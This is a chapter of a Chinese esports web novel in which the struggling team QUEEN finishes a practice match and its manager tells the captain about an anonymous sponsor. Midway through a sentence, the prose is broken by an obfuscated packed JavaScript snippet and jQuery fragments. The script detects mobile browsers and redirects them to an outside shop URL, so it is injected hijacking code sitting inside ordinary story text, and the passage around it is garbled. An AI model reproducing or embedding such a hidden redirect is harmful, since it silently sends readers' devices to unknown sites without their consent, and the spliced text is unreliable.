28.QUEEN

作品:《全自动竞圈闯祸机[电竞]

    -


    “医师隔了!”


    “看我位置,三秒冰阵!”


    土墙拔地而起,将医师隔开到另一侧,女人操纵鼠标的手腕稳而快地向右一甩,左手顺势敲击键盘,屏幕中的少女后撤一步,向后旋转360度又接了个后翻,一套动作如行云流水,干净利落。


    敌方精灵骑士召唤坐骑小鹿向前追了两步接一个纵跃,巨大的阴影遮天蔽日,而元素天赋者一身劲装,微微抬起头,短杖周围升腾起蓝色的荧光,银白色的短发微微鼓动,发梢凝结出细小的冰晶。


    不好!


    精灵骑士见状一惊,但事到如今他人在空中无法主动做出任何闪避的动作,只能眼睁睁看着法阵凝结在元素天赋者的脚下,后者轻盈地跳开,游刃有余,自己则是堪堪落入冰晶之中。


    不远处的狙击手开镜瞄准,一枪爆头。


    至此,敌方队伍仅剩一名医师。


    “nice!”


    不知是谁在耳机里高呼了一声,女人手下不停,镶嵌在短杖顶上的宝石几乎是在瞬间就从蓝色变为金色,元素天赋者回身向医师的方向跑过去,手中短杖幻化成一柄金色的,足有人高的大剑,剑刃摩擦在冰面上,发出刺耳的尖鸣。


    “谷雨!”她高喊一声,抡起大剑劈向土墙,只听“哐当”一声巨响,土墙应声碎裂。


    元素天赋者的金元素大剑能造成极大的单体伤害,但由于武器较重,挥动的速度也极慢,一击之后,无法瞬间接上下一招。


    “别让她用换生!”


    游僧从另一个方向赶来,却依旧慢了一步,医师已经读条完毕,换起来的暗杀者强隐脱离了战场。


    “啧,我的。”


    “没事。”女人开口道,“他跑不了多久。”


    三对一的人数差距之下,小小的瑕疵并不足以影响这场练习赛的胜局,游戏结束后,程澈摘下耳机,揉了揉紧皱的眉心,再次道歉。


    “不好意思临川,我还是慢了。”


    “……”柳临川没有立刻回答,她定定地在电脑前做了一会儿,而后闭了闭眼,深吸了一口气,取下耳机。


    “我的问题。”她站起身,扯出一个有些牵强的笑,“下次我努力提前喊。”


    “游僧的速度还是差了些。”祁瑾手一抬,耳机就从脑袋上滑落到脖子,他向后一靠,开口道,“我也有问题,我应该狙一枪的,但是你没喊,我就没反应过来。”


    “你那个位置不好狙吧?”柳临川背靠在自己作为身后的墙上,没什么特别的表情,“而且土墙碎裂也挡视线。”


    “嗯哼。”祁瑾耸了耸肩,他打开保温杯的盖子,吹了吹上头飘着的一层枸杞,抿了一口,微微偏过头,恰好与柳临川对视。


    “试试呗,反正刚才那把对面也就剩一个了,没有暴露的风险。”他说着,撇嘴苦笑了笑,“还是老了,菜了。”


    “诶,祁小瑾,你这么说可就没意思了。”医师路铭比祁瑾还要年长两岁,今年刚好二十五,大多数选手在这个年纪早就已经退役,“你老了,我是不是要入土了?”


    “嗯。”祁瑾面不改色的接了话,将手中的保温杯递了过去,“诺,入土前来点?”


    “滚滚滚。”路铭没好气地轻轻拍掉祁瑾递到自己面前的手,嫌弃道,“我可不喝那玩意儿。”


    “你懂什么,年轻的时候就得养生,真老了就来不及了。”祁瑾不以为意。


    坐在对面的秦映宵闻言抬起头嗤笑了一声:“你那是养生吗?你那杯口还没巴掌大,枸杞都堆成山了吧?还泡啥茶呢你直接一把放嘴巴里干嚼呗。”


    “噗。”一旁的程澈忍不住笑出了声。


    他是战队里年纪最小的选手,一声笑出来,立刻引起了其余人的围攻。


    门外传来钥匙插入锁孔的声音,生锈的门轴发出怪异变化的尖鸣,五人一同望过去,一个身形有些微胖的中年男人出现在了门口。


    “嗯?你们打完了?”马尚提了两个大纸袋子,乐呵呵地进了门,“正好,来吃夜宵。”


    他走进客厅,将袋子放到餐桌上,顺手把散落在桌面上地资料整理好,又转身收拾了一下乱七八糟地散落在沙发上地外套。


    QUEEN。


    作为一支由队员自发组建的战队,没有俱乐部的托底,在赞助商陆续撤出之后,战队的收入也被快速削减,为了节省资金,他们只能把俱乐部从之前的小别墅,搬进一间居民楼的出租屋。


    拢共一百个平方出头的屋子划出三室一厅,一厨一卫,还有一个仅有二人宽的阳台。三四十平的客厅里挤了八台电脑,一张餐桌平常也兼做会议桌,电视屏幕地旁边还摆了一块白板,狭小地空间被塞得满满当当,六个人一同呆在里头地时候,越发显得逼仄。


    反倒是电视机柜上那一座泛着光泽的奖杯,与这狼狈拥挤的环境格格不入。


    “呀,炸鸡。”程澈头一个冲到桌旁,惊喜出声,“今天马哥又破费啦!”


    “还好,还好。”马尚笑了笑,“炸鸡也不是很贵。”


    众人陆续都一边道谢一边围了过来,柳临川却似乎并没有什么胃口,她拿起自己搭在座椅后背上的外套。


    “你们吃,我去外面透透气。”


    言罢,转身出了门。


    老式居民楼没有电梯,夏夜里起了风还是有些凉意,柳临川披上衣服,走到楼下的时候,刚好从口袋里摸出一盒已经被压扁了的烟盒和一支打火机。


    她熟练度的从盒子里叼出一根点燃,深吸了一口,吐出来的时候,整个人似乎都放松了不少。


    路灯下弥漫开袅袅烟气,不远处自动贩卖机发出微弱地光,柳临川走过去买了一罐啤酒,顺势就坐在了贩卖机旁地长椅上,正想打开的时候,一只手冷不丁伸过来,抽走了易拉罐。


    “小小年纪又是烟又是酒,身体不想要了?”


    柳临川抬起头,马尚不知什么时候竟已经站在自己面前,片刻的怔愣,手中的烟也被抽走,无情的摁灭在了金属垃圾桶身上。


    “好的不学,这些东西倒是学的快得很。”马尚一面将烟头丢进垃圾桶,一面递过一听可乐,“诺,喝这个。”


    柳临川抿着嘴叹了口气,表情看起来还有些嫌弃与不耐,但她还是乖乖接过那听可乐,打开喝了一口,而后曲起双臂弯下腰,手肘抵在大腿上,撑起整个上半身的重量。


    “别这么愁眉苦脸的,不知道的还以为我们战队今天吃的是断头饭呢。”马尚自然知道柳临川在愁什么,但他依旧是笑着坐到她身边。


    柳临川沉默了一会儿,又闷了一口可乐,扬起上半身,靠在椅背上。


    “那还不至于,我只是觉得,原本是我和……是我喊上大家一起组建的战队,但现在却……”


    走的走,散的散,所有人都只能挤在这么一个小小的出租屋里,一支战队连最基础的八个人都凑不齐。


    这都是因为我太没用了。


    至少柳临川自己是这么认为的。


    不得不说烟和酒确实是消愁的好东西,酸涩的苦与灼烧般的辛辣猛地涌入肺腑,原本难以忍受的苦闷都在瞬间被冲淡了不少。


    “Crown走的时候说我太自大了,眼高手低,根本不知道自己几斤几两。那时候我还不信,现在看来,倒是被她说中了。”


    柳临川原本是瞧不起这些“小混混”才会沾染的东西,但事到如今,她也沉溺其中,紧绷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227026|195300||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地神经被短暂麻痹,片刻的欢愉着实令人上瘾。


    “如果那个时候我……”柳临川忽然哽咽,没有再说下去。


    “不用给自己那么大压力。”马尚能明白她想说什么,但他没有追问,只是轻轻拍了拍她的背,“我们战队不像俱乐部那样有很大的限制,大家都是成年人,有能力决定自己的去留,既然没有走,就说明大家都不想就这样认命。”


    说着,马尚微微抬了抬下巴,示意柳临川往右上方看过去。


    已是凌晨,小区内静得可怕,柳临川的目光自然而然地被四楼那唯一一扇还亮着灯的窗户吸引。


    窗户在厨房,而大家此时都在客厅,隔着这么远的距离听不见声音也看不见人影,却似乎依旧能隐约感受到屋内的热闹与温馨。


    “或许你可以试着再给我们多一些信任,尽管确实已经站在悬崖边上,但还没到真正结束的时候。”马尚道,“我今天又和那位谈了一次,她说只要我们今年能保住席位,就愿意给我们提供赞助。”


    “什么?”柳临川愣了愣,“谁?还有什么别的条件?”


    “除了席位以外,没有其他条件。”马尚的脸上浮起一丝神秘的笑,“至于是谁,投资人说为了避免一些不必要的麻烦,她暂且不想透露自己的身份。”


    “但我可以向你保证,这事儿绝对靠谱。”


    看着柳临川难以置信的表情,他又补了一句:“当然,未来赢了比赛,赚了钱,她肯定是要有分成的哦。”


    “为什么……”柳临川皱眉。


    她实在是难以相信在这个节骨眼上,竟然有人愿意凭空拿出一笔数额不小的钱,来陪他们这支目前看来没有任何商业价值的战队赌一个不知道是否光明的未来。


    “说是因为她喜欢咱们战队的这个名字。”马尚答。


    “就这样?”柳临川又是一愣。


    “嗯……她告诉我的就是这个。”马尚的脸上似乎也有些无奈,“至于还有没有其他不愿意说的原因,我就不知道了。”


    柳临川张了张嘴,她似乎还想评价些什么,憋了半天,还是只问出了一句:“那她有没有说愿意投多少?”


    “具体不知道,但至少能换个大house吧。”马尚拽了一句蹩脚的英文,耸了耸肩,“现役挂牌选手估计是买不起,但去在今年的青训营捞一两个新人应该可以吧,至少人数凑一凑,五个人太少了。”


    “打得好的估计也抢不过大队。”柳临川道,“这两年的天价新人还少吗?”


    “那倒也是。”马尚摸了摸自己的鼻子。


    柳临川认识马尚很久了,看他那个样子,估摸着是在打什么坏主意。


    “你有目标了?”她问。


    “嗯……有……一个。”


    “什么样的,能抢到吗?”柳临川问。


    “这个嘛……是个暗杀者,虽然打法有点问题,但是人看起来很有灵气。”马尚眯起眼,意味深长的摸了摸下巴,“现在暗杀者这个环境,感觉可以一试。”


    “……”柳临川有些狐疑地将马尚上下打量了一遍,这位与自己一同走到现在的老朋友在商业谈判上确实有两把刷子,但是对DOME职业比赛属于是一窍不通。


    “什么有灵气……我看你就是贪便宜吧……”


    “呵呵。”马尚一眼就能看得出来她在想什么,却只是轻轻一笑。


    “我虽然看不懂比赛,但我看得懂你啊。”


    他说着,仰起头,对着漫天的星光,祈祷般叹了口气。


    “虽然这么说不太好,但是……”


    “如果其他十五支战队能够都不要她,把她留到最后让我捡个小漏就好了。”


    “嘿嘿。”